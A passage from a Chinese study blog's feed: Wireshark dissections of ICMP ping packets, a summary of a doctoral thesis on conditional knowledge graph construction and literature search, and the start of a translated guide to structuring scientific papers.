number">8</span> <span class="token punctuation">(</span>Echo <span class="token punctuation">(</span>ping<span class="token punctuation">)</span> request<span class="token punctuation">)</span>    Code<span class="token punctuation">:</span> <span class="token number">0</span> <span class="token comment" spellcheck="true">#请求包</span>    Checksum<span class="token punctuation">:</span> <span class="token number">0x610f</span> <span class="token punctuation">[</span>correct<span class="token punctuation">]</span> <span class="token comment" spellcheck="true">#检验和</span>    <span class="token punctuation">[</span>Checksum Status<span class="token punctuation">:</span> Good<span class="token punctuation">]</span>    Identifier <span class="token punctuation">(</span>BE<span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token number">32033</span> <span class="token punctuation">(</span><span class="token number">0x7d21</span><span class="token punctuation">)</span>    Identifier <span class="token punctuation">(</span>LE<span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token number">8573</span> <span class="token punctuation">(</span><span class="token number">0x217d</span><span class="token punctuation">)</span>    Sequence Number <span class="token punctuation">(</span>BE<span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token number">12</span> <span class="token punctuation">(</span><span class="token number">0x000c</span><span class="token punctuation">)</span>    Sequence Number <span class="token punctuation">(</span>LE<span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token number">3072</span> <span class="token punctuation">(</span><span class="token number">0x0c00</span><span class="token punctuation">)</span>    <span class="token punctuation">[</span>Response frame<span class="token punctuation">:</span> <span class="token number">121184</span><span class="token punctuation">]</span>    Timestamp <span class="token keyword">from</span> icmp data<span class="token punctuation">:</span> Aug <span class="token number">19</span><span class="token punctuation">,</span> <span class="token number">2022</span> <span class="token number">15</span><span class="token punctuation">:</span><span class="token number">39</span><span class="token punctuation">:</span><span class="token number">14.298394000</span> CST    <span class="token punctuation">[</span>Timestamp <span class="token keyword">from</span> icmp data <span class="token punctuation">(</span>relative<span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token number">0.000154000</span> seconds<span class="token punctuation">]</span>    Data <span class="token punctuation">(</span><span class="token number">48</span> bytes<span class="token punctuation">)</span>        Data<span class="token punctuation">:</span> <span class="token number">08090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b</span>…        <span class="token punctuation">[</span>Length<span class="token punctuation">:</span> <span class="token number">48</span><span class="token punctuation">]</span></code></pre><p>回送应答的具体报文：</p><pre class=" language-python"><code class="language-python">Internet Control Message Protocol    Type<span class="token punctuation">:</span> <span class="token number">0</span> <span class="token punctuation">(</span>Echo <span class="token punctuation">(</span>ping<span class="token punctuation">)</span> reply<span class="token punctuation">)</span>    Code<span class="token punctuation">:</span> <span class="token number">0</span>    Checksum<span class="token punctuation">:</span> <span class="token number">0xa32b</span> <span class="token punctuation">[</span>correct<span class="token punctuation">]</span>    <span class="token punctuation">[</span>Checksum Status<span class="token punctuation">:</span> Good<span class="token punctuation">]</span>    Identifier <span class="token punctuation">(</span>BE<span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token number">32033</span> <span class="token punctuation">(</span><span class="token number">0x7d21</span><span class="token punctuation">)</span>    Identifier <span class="token punctuation">(</span>LE<span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token number">8573</span> <span class="token punctuation">(</span><span class="token number">0x217d</span><span class="token punctuation">)</span>    Sequence Number <span class="token punctuation">(</span>BE<span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token number">45</span> <span class="token punctuation">(</span><span class="token number">0x002d</span><span class="token punctuation">)</span>    Sequence Number <span class="token punctuation">(</span>LE<span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token number">11520</span> <span class="token punctuation">(</span><span class="token number">0x2d00</span><span class="token punctuation">)</span>    <span class="token punctuation">[</span>Request frame<span class="token punctuation">:</span> <span class="token number">121933</span><span class="token punctuation">]</span>    <span class="token punctuation">[</span>Response time<span class="token punctuation">:</span> <span class="token number">0.522</span> ms<span class="token punctuation">]</span>    Timestamp <span class="token keyword">from</span> icmp data<span class="token punctuation">:</span> Aug <span class="token number">19</span><span class="token punctuation">,</span> <span class="token number">2022</span> <span class="token number">15</span><span class="token punctuation">:</span><span class="token number">39</span><span class="token punctuation">:</span><span class="token number">47.414522000</span> CST    <span class="token punctuation">[</span>Timestamp <span class="token keyword">from</span> icmp data <span class="token punctuation">(</span>relative<span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token number">0.000763000</span> seconds<span class="token punctuation">]</span>    Data <span class="token punctuation">(</span><span class="token number">48</span> bytes<span class="token punctuation">)</span>        Data<span class="token punctuation">:</span> <span class="token number">08090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b</span>…        <span class="token punctuation">[</span>Length<span class="token punctuation">:</span> <span class="token number">48</span><span class="token punctuation">]</span></code></pre>]]></content>
    
    
      
      
    <summary type="html">&lt;h3 id=&quot;TCP报文&quot;&gt;&lt;a href=&quot;#TCP报文&quot; class=&quot;headerlink&quot; title=&quot;TCP报文&quot;&gt;&lt;/a&gt;TCP报文&lt;/h3&gt;&lt;p&gt;[[TCP IP参考模型]]中解释了TCP的作用机制&lt;/p&gt;
&lt;h4 id=&quot;封包信息分析&quot;&gt;&lt;a href=&quot;#封</summary>
      
    
    
    
    <category term="学习" scheme="https://sandship.fun/categories/%E5%AD%A6%E4%B9%A0/"/>
    
    
    <category term="Wireshark" scheme="https://sandship.fun/tags/Wireshark/"/>
    
    <category term="抓包工具" scheme="https://sandship.fun/tags/%E6%8A%93%E5%8C%85%E5%B7%A5%E5%85%B7/"/>
    
  </entry>
  
  <entry>
    <title>读论文——条件性知识图谱构建与应用研究</title>
    <link href="https://sandship.fun/post/e044.html"/>
    <id>https://sandship.fun/post/e044.html</id>
    <published>2022-04-19T14:19:17.000Z</published>
    <updated>2026-02-11T07:44:26.147Z</updated>
    
    <content type="html"><![CDATA[<h1 id="0-背景介绍"><a href="#0-背景介绍" class="headerlink" title="0 背景介绍"></a>0 背景介绍</h1><p><strong>论文作者：</strong>姜天文</p><p><strong>论文标题：</strong>条件性知识图谱构建及其应用研究[博士学位论文]</p><p><strong>作者单位：</strong>哈尔滨工业大学</p><p><strong>发表时间：</strong>2021</p><p><strong>论文DOI：</strong>10.27061&#x2F;d.cnki.ghgdu.2021.000447.</p><p><strong>相关期刊论文：</strong>Jiang T ,  Zhao T ,  Qin B , et al. The Role of “Condition”: A Novel Scientific Knowledge Graph Representation and Construction Model[C]&#x2F;&#x2F; the 25th ACM SIGKDD International Conference. ACM, 2019.</p><p>在知识图谱发展的早期阶段，知识体系和任务场景都是相对明确的，实例类型和关系类型都由预先定义得到。这类构建在<strong>封闭域</strong>中的知识图谱。伴随着信息量的爆炸式增长，人们往往无法预知知识图谱的关系体系以及其中的实体类型，依托于信息抽取技术的<strong>开放式知识图谱</strong>应运而生。开放式的知识图谱具有以下特点：</p><ul><li>实体定义的边界条件更加宽松；</li><li>使用文本中的关系指示词来表达实体之间的隐式关系；</li><li>对文本中的知识表征更加完整；</li></ul><p>无论是封闭域还是开放式知识图谱，都着重专注于<strong>事实三元组</strong>的抽取和表示，然而这种表示方式是不全面的。文章中举了两个非常形象的例子，如下图所示：</p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/202204201944978.svg" alt="条件性的重要性" style="zoom: 33%;" /><p>根据该论文的介绍，条件性知识图谱的意义至少包含了以下三点：</p><ol><li>提出了一种语义更完整的知识图谱形式；</li><li>更充分地利用文本知识；</li><li>在事实推理的场景下，推理结果的<strong>可解释性和可验证性</strong>有望得到保障；</li></ol><p>该论文的框架和创新点如下图所示：</p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/202204202015187.png" alt="论文组织结构" style="zoom:50%;" /><h1 id="1-条件性知识图谱结构"><a href="#1-条件性知识图谱结构" class="headerlink" title="1 条件性知识图谱结构"></a>1 条件性知识图谱结构</h1><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/202204211143925.png" alt="条件性知识图谱的结构"></p><p>上图是该论文所提出的条件性知识图谱的层次化网状结构，它看起来还是比较复杂的，难以直观理解。所以我们先从条件性知识图谱的定义入手了解其含义，再来理解这个“层次化”结构。文中所给出的定义如下：</p><h2 id="条件元组和事实元组的定义"><a href="#条件元组和事实元组的定义" class="headerlink" title="条件元组和事实元组的定义"></a>条件元组和事实元组的定义</h2>$$t=\left(\left\{e_{1}: a_{1}\right\}, r,\left\{e_{3}: a_{3}\right\}\right)$$<p>式中$e_{1}, e_{3} \in{n u l l}+\mathcal{E}, r \in \mathcal{R}$以及$a_{1}, a_{3} \in{n u l l}+\mathcal{A}$。其中$\mathcal{E}、\mathcal{R}、\mathcal{A}$分别是实体、谓词和属性的集合。$null$则表示实体和属性为空。</p><p>实体属性为空的情况很好理解，比如关于事实的描述<em><strong>”碱性pH增加TRPV5&#x2F;V6通道的活性“</strong></em>，可以结构化为**$e_1&#x3D;\text{碱性}pH、a_1&#x3D;null、r&#x3D;增加，e_3&#x3D;TRPV5&#x2F;V6通道、a_3&#x3D;活性$**。</p><p>但为什么会存在实体为空但属性不为空的情况呢？论文结合了一个条件文本的实例进行了解释：对于条件的描述<em><strong>”在T淋巴细胞活化以及细胞因子产生的过程中，……“</strong></em>，其中包含了两部分的条件元组：</p><p><strong>条件 1</strong>：$(null$, 过程中, $\{$T淋巴细胞：活化$\})$<br><strong>条件 2</strong>：$(null$, 过程中, $\{$细胞因子：产生$\})$</p><p>可见在用三元组对条件进行表示时，的确会存在主语（三元组的头部实体）缺失的情况。</p><h2 id="文本的条件-事实的结构化定义"><a href="#文本的条件-事实的结构化定义" class="headerlink" title="文本的条件-事实的结构化定义"></a>文本的条件-事实的结构化定义</h2><p>对于给定的句子，可以将其结构化为条件和事实三元组的列表，同一个句子中的条件和事实之间存在着依赖关系，该关系可以表示为：<br>$$<br>s&#x3D;\left[t_{1}^{(f)}, \ldots, t_{n}^{(f)} ; t_{1}^{(c)}, \ldots, t_{m}^{(c)}\right]<br>$$<br>式中$s$表示特定的语句，$t_{i}^{(f)}(i \in{1, \ldots, n})$代表第$i$个事实元组，$t_{j}^{(c)}(j \in{1, \ldots, n})$代表第$j$个条件元组。具体结合上文的例子。给定描述语句<em><strong>“如果患者的感冒是由于风寒引起，这种情况下可以喝姜糖水，因为生姜具有发散风寒的作用，对于感冒症状具有很好的缓解作用“</strong></em>，该句子可以结构化表示为<br>$$<br>s&#x3D;[t_{1}^{(f)}&#x3D;(姜糖水，缓解，感冒症状);t_{1}^{(c)}&#x3D;(风寒，引起，感冒)]<br>$$</p><h2 id="条件性知识图谱的定义"><a href="#条件性知识图谱的定义" class="headerlink" title="条件性知识图谱的定义"></a>条件性知识图谱的定义</h2><p>论文将条件性知识图谱的结构分为三个层次，包括实体层、关系元组层和句子层，每一层具体含义如下：</p><ul><li><strong>实体层：</strong>$L_{\mathcal{E}}&#x3D;\left(\mathcal{E} \cup \mathcal{A}, E_{\mathcal{E}, \mathcal{A}}\right)$，实体层的节点可以分为属性节点和实体节点，即如果a是e的属性，则两者之间存在关系$E(e, a) \in E_{\mathcal{E A}}$，在图中的标注为$attr.$；</li><li><strong>关系元组层：</strong>$L_{\mathcal{R}}&#x3D;\mathcal{R}$，$\mathcal{R}$为关系节点的集合，依据三元组的集合与实体层进行链接。链接的方式可以简单的概括为，制定关系节点的主语和宾语，两种链接关系在图中标识为$subj.$和$obj.$；</li><li><strong>句子层：</strong>$L_{\mathcal{S}}&#x3D;\mathcal{S}$，$\mathcal{S}$表示公式（2）中结构化语句$s$的集合，句子层和关系元组层之间使用”条件“和”事实“两类关系连接；</li></ul><h1 id="2-条件性知识图谱构建"><a href="#2-条件性知识图谱构建" class="headerlink" title="2 条件性知识图谱构建"></a>2 条件性知识图谱构建</h1><p>上一节介绍了该论文是如何定义条件性知识图谱结构的，这一节主要介绍论文是如何从文本中实现对上文所提到的元组进行抽取的。首先，论文认为对文本中元组抽取问题可以转换为序列标注（标签预测）问题。该问题主要的三个挑战包括：</p><ol><li><p><strong>同时存在于事实元组合条件元组中的词例存在着冲突标签；</strong></p><p>对于描述语句<em><strong>“我们发现，碱性pH 会增加位于 JurkatT 细胞的TRPVS&#x2F;6通道的活性”</strong></em>，其包含的事实和条件分别为：</p><p><strong>事实:</strong> (碱性pH, 增加, {TRPV5&#x2F;V6通道：活性 })；<strong>条件:</strong> (TRPV5&#x2F;V6通道, 位于, JurkatT细胞)</p><p>“TRPV5&#x2F;V6通道”在事实元组中是宾语，而在条件元组则作为主语存在，这意味着图谱构建模型的输出至少应当是基于双输出序列的标注，即区分事实和条件序列。</p></li><li><p><strong>人工标注的代价较大；</strong></p><p>主要原因是现有的知识库并没有相关的条件信息，同时这也意味着人工标注的数据量有限。</p></li><li><p><strong>序列标注的噪声导致其转换为元组时结果存在二次损失；</strong></p></li></ol><h2 id="基于半监督多输入条件-事实双输出序列标注模型"><a href="#基于半监督多输入条件-事实双输出序列标注模型" class="headerlink" title="基于半监督多输入条件-事实双输出序列标注模型"></a>基于半监督多输入条件-事实双输出序列标注模型</h2><p>对于上述挑战，文章提出了下图所示的<strong>基于半监督多输入条件-事实双输出序列标注模型</strong>：</p><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/202204211612670.png" alt="基于半监督多输入条件-事实双输出序列标注模型"></p><p>根据论文的内容总结该模型的特点：</p><ul><li><p>标签的定义如下图所示：</p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/202204211723623.png" alt="标签的定义" style="zoom:50%;" /></li><li><p>事实&#x2F;条件双输出，两者使用相同的序列编码器和解码器（网络结构为BiLSTM），但使用不同的线性分类层预测具体的标签（预测概率分布）。</p></li><li><p>多输入模块，如上图所示，该模型的输入分为四个部分。论文提出采用多输入主要是为了解决<strong>监督数据稀缺</strong>的问题，不同模块的作用也不同。</p><ul><li><strong>词嵌入（WE）</strong>：通过上下文信息获取词例与前序词之间的依赖关系，如判断“alkaline”和“pH”是否属于同一个实体。论文所采用的词嵌入方法为GloVe；</li><li><strong>语言模型（LM）</strong>：主要作用是保证长序列中词例与前序词之间的依赖关系，有助于主谓宾关系的建模。论文在实验部分采用了BER作为预训练的语言模型；</li><li><strong>词性标签（POS）</strong>：为句子中的每一个词例分配其在文本中的词性（如形容词、名词和动词），隐式地反映了词语之间的依存关系；</li><li><strong>实体&#x2F;属性&#x2F;短语挖掘（CAP）</strong>：判断词例的语义角色，如判断哪些实体为”概念“，哪些实体为”属性“；</li></ul></li><li><p>迭代自训练，包括基于关联规则的更正、基于标签一致性的校正、仅短句和删除不完整序列四个部分。前两者的校正策略实例如下图所示：</p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/202204211752070.png" alt="两种标签校正策略" style="zoom: 67%;" /><p>图中所展示的修正规则可以表示为：a. 一些词性标签的形式和输出标签有很强的顺序关系，如[NNP，NN，VBD， VBN]→[B-f1c，I-f1c，B-f2p，I-f2p]，根据这类规则对预测标签进行修改；b. BOII这种模式是错误的，需要对其进行修改；</p><p>而所谓<strong>仅短句</strong>则是通过较短的局子来让模型的训练更加可靠。</p></li></ul><p>上述内容来源于该博士论文的第三章，也是论文《The Role of “Condition”: A Novel Scientific Knowledge Graph Representation and Construction Model》的主要内容。在第四章中，论文进一步针对条件性知识图谱的构建模型进行了创新。</p><h2 id="基于多输入动态多输出的序列标注模型"><a href="#基于多输入动态多输出的序列标注模型" class="headerlink" title="基于多输入动态多输出的序列标注模型"></a>基于多输入动态多输出的序列标注模型</h2><p>论文首先提出了上一节所述模型存在的不足，包括：</p><ol><li>上述模型只能解决条件元组和事实元组的重叠问题，并不能根治同类元组的重叠问题；举例说明，描述语句<em><strong>“库克是科技公司Apple的CEO”</strong></em>，包含了两个事实元组“（库克，CEO，Apple）”，“（Apple，是，科技公司）”，Apple在两个元组中有不同的角色，导致对其进行标签预测时可能会发生错误；</li><li>半监督模型仍旧无法摆脱对人工策略的依赖；</li></ol><p>对此，论文提出了如下图所示的基于动态多输出的序列标注框架：</p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/202204211823168.png" alt="基于动态多输出的序列标注框架" style="zoom: 50%;" /><h1 id="3-条件性知识图谱的应用"><a href="#3-条件性知识图谱的应用" class="headerlink" title="3 条件性知识图谱的应用"></a>3 条件性知识图谱的应用</h1><p>论文将其提出的条件性知识图谱应用在了<strong>文献搜索</strong>任务上，选择<strong>生物医药</strong>作为目标领域。论文使用了下图描述文献搜索要实现的任务目标，并称之为CTGA系统，同时也给出了该系统的工作流程：</p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/202204211856336.png" alt="CTGA"  /><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/202204211923890.png" alt="CTAG工作流程"></p><p>在方法层面，论文提出了两个不同检索模型。</p><h2 id="基于条件性知识图谱路径匹配的文献搜索"><a href="#基于条件性知识图谱路径匹配的文献搜索" class="headerlink" title="基于条件性知识图谱路径匹配的文献搜索"></a>基于条件性知识图谱路径匹配的文献搜索</h2><p>基于路径匹配的搜索，其核心是对图谱中最常见的路径<strong>主语，宾语，谓语</strong>进行相似度匹配，结合以下公式对该搜索方法进行解释：<br>$$<br>\mathcal{P}^{(f)}&#x3D;\left(a_{1}, E^{\mathrm{attr}}\left(e_{1}, a_{1}\right), e_{1}, E^{\mathrm{subj}}\left(r^{(f)}, e_{1}\right), r^{(f)}, E^{\mathrm{obj}}\left(r^{(f)}, e_{3}\right), e_{3}, E^{\mathrm{attr}}\left(e_{3}, a_{3}\right), a_{3}\right)<br>$$</p><p>$$<br>\mathcal{P}^{(c)}&#x3D;\left(a_{1}, E^{\mathrm{attr}}\left(e_{1}, a_{1}\right), e_{1}, E^{\mathrm{subj}}\left(r^{(c)}, e_{1}\right), r^{(c)}, E^{\mathrm{obj}}\left(r^{(c)}, e_{3}\right), e_{3}, E^{\mathrm{attr}}\left(e_{3}, a_{3}\right), a_{3}\right)<br>$$</p><p>论文把这样的$\mathcal{P}$称为<strong>知识携带路径</strong>，$\mathcal{P}^{(f)}$和$\mathcal{P}^{(c)}$分别为事实和条件的知识携带路径。论文将查询图与文献图之间的事实相关性定义为事实知识携带路径<strong>准确率和召回率的调和平均值</strong>：</p>$$\operatorname{Precision}_{\mathcal{K}^{\mathrm{q}}, \mathcal{K}^{\mathrm{d}}}^{(f)}=\frac{\sum_{i=1}^{N} \max _{j=1,2, \ldots, M} \phi\left(\mathcal{P}_{i}^{(f)}, \mathcal{P}_{j}^{(f)}\right)}{N}$$$$\operatorname{Recall}_{\mathcal{K}^{q}, \mathcal{K}^{\mathrm{d}}}^{(f)}=\frac{\sum_{j=1}^{M} \max _{i=1,2, \ldots, N} \phi\left(\mathcal{P}_{i}^{(f)}, \mathcal{P}_{j}^{(f)}\right)}{M}$$<p>$$<br>\text { Relevance }_{\mathcal{K}^{\mathrm{q}}, \mathcal{K}^{\mathrm{d}}}^{(f)}&#x3D;\left(1+\beta^{2}\right) \frac{\text { Precision.Recall }}{\beta^{2} \cdot \text { Precision+Recall }}<br>$$</p><p>其中N和M分别为查询和文献中所监测到的事实知识携带路径数， $\phi\left(\mathcal{P}_{i}^{(f)}, \mathcal{P}_{j}^{(f)}\right)$ 表示计算一对路径相似度的函数。准确率可以理解为有多少路径被检索到，召回率则体现了有多少路径的信息在文献中没有体现。对条件知识携带路径进行相同的操作，得到 $\text { Relevance }_{\mathcal{K}^{\mathrm{q}}, \mathcal{K}^{\mathrm{d}}}^{(c)}$ ，及查询图和文献之间的条件相关性。最终的查询和文献图之间的相似性可以定义为：</p>$$\text { Relevance }_{\mathcal{K}^{\mathrm{q}}, \mathcal{K}^{\mathrm{d}}}=\lambda \cdot \text { Relevance }_{\mathcal{K}^{\mathrm{q}}, \mathcal{K}^{\mathrm{d}}}^{(f)}+(1-\lambda) \cdot \text { Relevance }_{\mathcal{K}^{\mathrm{q}}, \mathcal{K}^{\mathrm{d}}}^{(c)}$$<p>至于如何判断路径的相似程度，文章定义了如公式（10）所示的函数：</p>$$\begin{aligned}\phi\left(\mathcal{P}_{i}, \mathcal{P}_{j}\right) &=\operatorname{sim}^{c}\left(e_{i, 1}, e_{j, 1}\right)+\operatorname{sim}^{w}\left(a_{i, 1}, a_{i, 1}\right) \\&+\operatorname{sim}^{c}\left(e_{i, 3}, e_{j, 3}\right)+\operatorname{sim}^{w}\left(a_{i, 3}, a_{i, 3}\right) \\&+\operatorname{sim}^{w}\left(r_{i}, r_{j}\right)\end{aligned}$$<p>其中，$sim^c$用来计算概念之间的相似程度，可以表示为：</p>$$\operatorname{sim}^{c}\left(u_{i}, u_{j}\right)=\left\{\begin{array}{lr}1, & \text { if } \operatorname{Synonym}\left(u_{i}, u_{j}\right) \\\mathbf{u}_{i} \cdot \mathbf{u}_{j}, & \text { if } \operatorname{ShareHypernym}\left(u_{i}, u_{j}\right) \\0, & \text { otherwise }\end{array}\right.$$<p>其中$\mathbf{u}_{i} \cdot \mathbf{u}_{j}$表示计算相应文本之间向量表示的点乘（衡量<strong>向量相似度</strong>），“Synonym”或“ShareHypernym”表示 $u_i$ 和 $u_j$ 是同义词还是彼此共享同一<strong>上位词</strong>。如何确定两次之间的关系，论文借助了<strong>外部的数据库</strong>。</p><blockquote><p>同义词相对好理解，如”桂圆“和”龙眼“是同义词；而共享上位词一般的情况为同属于一类，如”荔枝“和”桂圆“有共同的上位词”水果“</p></blockquote><p>而对于属性节点的相似度，论文采用下式进行计算：</p>$$\operatorname{sim}^{w}\left(u_{i}, u_{j}\right)=\mathbf{u}_{i} \cdot \mathbf{u}_{j}$$<h2 id="基于条件性知识图谱表征学习的文献搜索"><a href="#基于条件性知识图谱表征学习的文献搜索" class="headerlink" title="基于条件性知识图谱表征学习的文献搜索"></a>基于条件性知识图谱表征学习的文献搜索</h2><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/202204211955419.png" alt="基于多层条件性知识图谱的多层编码模型 MEMK"></p><p>在该阶段，文章使用了上述模型以知识表征的方式搜索相似文献，但这一段专业性较强，这一段的专业性较强，我并没有太理解。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;0-背景介绍&quot;&gt;&lt;a href=&quot;#0-背景介绍&quot; class=&quot;headerlink&quot; title=&quot;0 背景介绍&quot;&gt;&lt;/a&gt;0 背景介绍&lt;/h1&gt;&lt;p&gt;&lt;strong&gt;论文作者：&lt;/strong&gt;姜天文&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;论文标题：&lt;/strong</summary>
      
    
    
    
    <category term="学习" scheme="https://sandship.fun/categories/%E5%AD%A6%E4%B9%A0/"/>
    
    
    <category term="知识图谱" scheme="https://sandship.fun/tags/%E7%9F%A5%E8%AF%86%E5%9B%BE%E8%B0%B1/"/>
    
    <category term="数据挖掘" scheme="https://sandship.fun/tags/%E6%95%B0%E6%8D%AE%E6%8C%96%E6%8E%98/"/>
    
  </entry>
  
  <entry>
    <title>【非原创】论文构建简单十则</title>
    <link href="https://sandship.fun/post/3dc9.html"/>
    <id>https://sandship.fun/post/3dc9.html</id>
    <published>2021-12-28T19:40:33.000Z</published>
    <updated>2026-02-11T07:44:26.147Z</updated>
    
    <content type="html"><![CDATA[<h1 id="论文构建简单十则"><a href="#论文构建简单十则" class="headerlink" title="论文构建简单十则"></a>论文构建简单十则</h1><p>作者：Brett Mensh*,Konrad Kording </p><p>翻译：Huan Xu，Ye Zhou</p><p>原文链接：<a href="https://doi.org/10.1371/journal.pcbi.1005619">https://doi.org/10.1371/journal.pcbi.1005619</a></p><h2 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h2><p>高质量的科学论文写作对于职业发展及科学进步至关重要。一篇结构性强的论文可引起读者和审稿人的兴趣，从而使他们理解和验证论文的科学贡献，并将这些贡献整合到更广的情境中去。然而很多科学家为了撰写高质量的论文苦苦挣扎，并普遍未受过论文写作训练。因此，我们通过聚焦读者摄入信息的方式，在此提出十条简单的写作原则来帮助你表达论文的中心思想。这些原则旨在提高论文的影响力，以及提升写作过程中的流畅度和愉悦感。</p><h2 id="引言"><a href="#引言" class="headerlink" title="引言"></a>引言</h2><p>论文的阅读和写作是科学家的重要技能。论文发表的成功也的确可以用于衡量和预测科学家未来成功与否。在产出和消费论文的过程中涉及到多个受众群体，每个受众群体有他们各自不同的动机和关注重点。论文编辑希望论文的重要性有保证，审稿人希望确定论文的结果能合理地推出结论。读者在深入钻研论文的细节前，希望能快速地理解文章概念性的结论。而作者则希望向尽可能广的读者群传达论文的科学贡献，同时说服专家自己的科学发现足够可信。这些目标都可以通过贯穿句子，段落，章节以及通篇多个维度的论文构建来实现。</p><p>清晰明确的沟通在大范围的科学领域中至关重要，因为“概念传递”是科学散播中的关键限速步骤。这在生物科学领域以及包含多个高度联系的亚学科的其他领域中尤为适用。由于科学家的专业领域越来越细化，增强科学概念间的联系变得越来越重要（难）。只有在论文的可读，可信和可记的基础上，跨越多学科界限的沟通才能实现。</p><p>赋予文章重要性的论点<strong>必须由数据和合理的逻辑支持</strong>。若文章缺少缜密的逻辑规划，作者通常会在写结论的过程中遗漏数据或逻辑步骤。尽管这两个失误会超出我们预测的范畴，但是作为作者的你必须十分清楚你的科学逻辑，以足够地支持你的科学论点。</p><p>在此我们提出构建论文的十条简单的原则。前四条原则适用于论文的所有部分，并且可推广到其他的写作形式如科研基金和学术海报。接下来的四条原则论述论文各个主体部分的主要目标。最后两条原则为有效构建论文的过程提供启发性的指导。</p><h2 id="写作原则（原则1-4）"><a href="#写作原则（原则1-4）" class="headerlink" title="写作原则（原则1-4）"></a>写作原则（原则1-4）</h2><p>写作即沟通。因此读者的体验至关重要，并且所有的写作都应为此目标服务。当你写作时应该时刻牢记你的读者。以下的四条原则可以帮助你避免失去读者。</p><h3 id="原则1：在论文标题中重点描述论文的一项核心贡献"><a href="#原则1：在论文标题中重点描述论文的一项核心贡献" class="headerlink" title="原则1：在论文标题中重点描述论文的一项核心贡献"></a><strong>原则</strong>1：在论文标题中重点描述论文的一项核心贡献</h3><p>如果读者在阅读你的论文一年后仍可以向他们的同行描述你论文的核心贡献，那么代表你成功地与读者实现了沟通。尽管一篇论文在得出结论的过程中需要描述一系列的创新点，但是这并不会为成功的沟通加分。成功的沟通应向读者专注地表达一项核心科学贡献，而不是多条。同时专注多条贡献的论文往往削弱了每一条贡献的说服力，因此也淡化了读者的记忆。</p><p>标题是一篇论文的核心要素试想你读的论文标题和论文全文数量的比例吧。论文标题往往是读者接触到一篇论文的第一要素，所以它的质量[3]直接关系到读者是否会继续花时间读论文摘要。</p><p>论文标题不仅能表达论文的核心贡献，而且可以不断地提醒你去着重表达中心思想。毕竟科学是从复杂的数据中抽象出来的简单原理，而标题是论文贡献最精炼的呈现。尽早拟定标题，并且经常回顾斟酌标题的内容，不仅有助于论文的写作，而且有助于实验的设计和理论的发展。</p><p>原则一是最难完美实施的原则，因为它面对的是一项关键的科学挑战：基于数据和逻辑，最简单地陈述科学论点和&#x2F;或模型。最后你会挣扎地找到了一个平衡，那就是去多方面地描述“一个贡献”。比如，一篇科技论文可能同时描述一项新科技和其应用产生的生物学影响，能将这两方面统一起来的方法是清晰地描述怎样将这项新科技用于新的生物领域。</p><h3 id="原则2：为那些对你的研究一窍不通却真实存在的读者写作"><a href="#原则2：为那些对你的研究一窍不通却真实存在的读者写作" class="headerlink" title="原则2：为那些对你的研究一窍不通却真实存在的读者写作"></a>原则2：为那些对你的研究一窍不通却真实存在的读者写作</h3><p>正因为你是这个世界上最懂你当下工作的前沿专家，从一个毫无背景的读者角度，你却成为了这个世界上评判你论文最不合格的人选。绝大部分的写作失误源于这个困境。写作时像一个设计师一样思考——设计每个元素对人们产生的影响，并努力实现目标[4]。试着从毫无经验的读者角度审视你的文章，他们首先必须被你提出的科学问题吸引（见原则6），然后才会希望花少量的精力理解你的答案。清晰地定义技术术语，因为当读者遇到他们不懂的词时通常会有挫败感。尽量避免简写和首字母缩写，如此可以避免读者不得不去查找之前的文字。</p><p>利用广义的人类心理学知识有助于论文的写作。比如，人们的工作记忆区只能保留一小部分事件的记忆，并且对事件开始和结束的记忆比中间更为深刻[5]。作为论文作者，应尽最大努力去减少读者因松散的逻辑线索所产生的记忆负担。</p><h3 id="原则3：坚持使用“背景-内容-结论”的结构写作"><a href="#原则3：坚持使用“背景-内容-结论”的结构写作" class="headerlink" title="原则3：坚持使用“背景-内容-结论”的结构写作"></a>原则3：坚持使用“背景-内容-结论”的结构写作</h3><p>绝大部分受欢迎的（让人记忆深刻和朗朗上口的）故事通常都有一个引人入胜的开头，紧凑的主体和一个结局。文章的开头为整个故事奠定了背景，主体（内容）部分引领故事朝着结尾的方向进展。这个结构可以减少读者产生以下的疑问：“为什么要说这个故事？”（背景缺失）或者“说了这么多，那又怎样呢？”（结论缺失）。</p><p>讲故事有很多方法，主要的区别就是多大程度地吸引耐心和不耐心读者[6]。不耐心的读者需要快速进入故事，因此可以首先呈现给他们最精彩的故事内容（比如新闻类文章的写作形式）。“背景-内容-结论”这一写作结构主要是面向相对耐心的，愿意花时间从背景入手的读者。“背景-内容-结论”这一写作结构也因此可能无法吸引不耐心的读者，但这个缺点可以被科学论文特殊的结构，即首先映入眼帘的标题和摘要所弥补，因为这种结构迫使文章内容被快速地浏览。因此，一个能读到引言的读者很有可能已经产生了足够的兴趣去阅读论文的背景。另外，过多“内容优先”的科学写作结构有一个坏处，即因为背景这个重要部分的遗失，可能会导致读者先入为主地对论文的结论产生怀疑态度。因为以上种种原因，我们在此提倡使用“背景-内容-结论”作为科学写作的默认结构。</p><p>“背景-内容-结论”在多个维度定义了论文的结构。在通篇论文的维度里，引言介绍背景，实验结果作为内容，而讨论则引出了结论。在段落的维度里，首句定义话题或背景，主体介绍启发读者思考的新颖内容，末句提供让人难忘的结论。</p><p>尽管偏离“背景-内容-结论”这一结构的文章通常会增加读者阅读的难度，然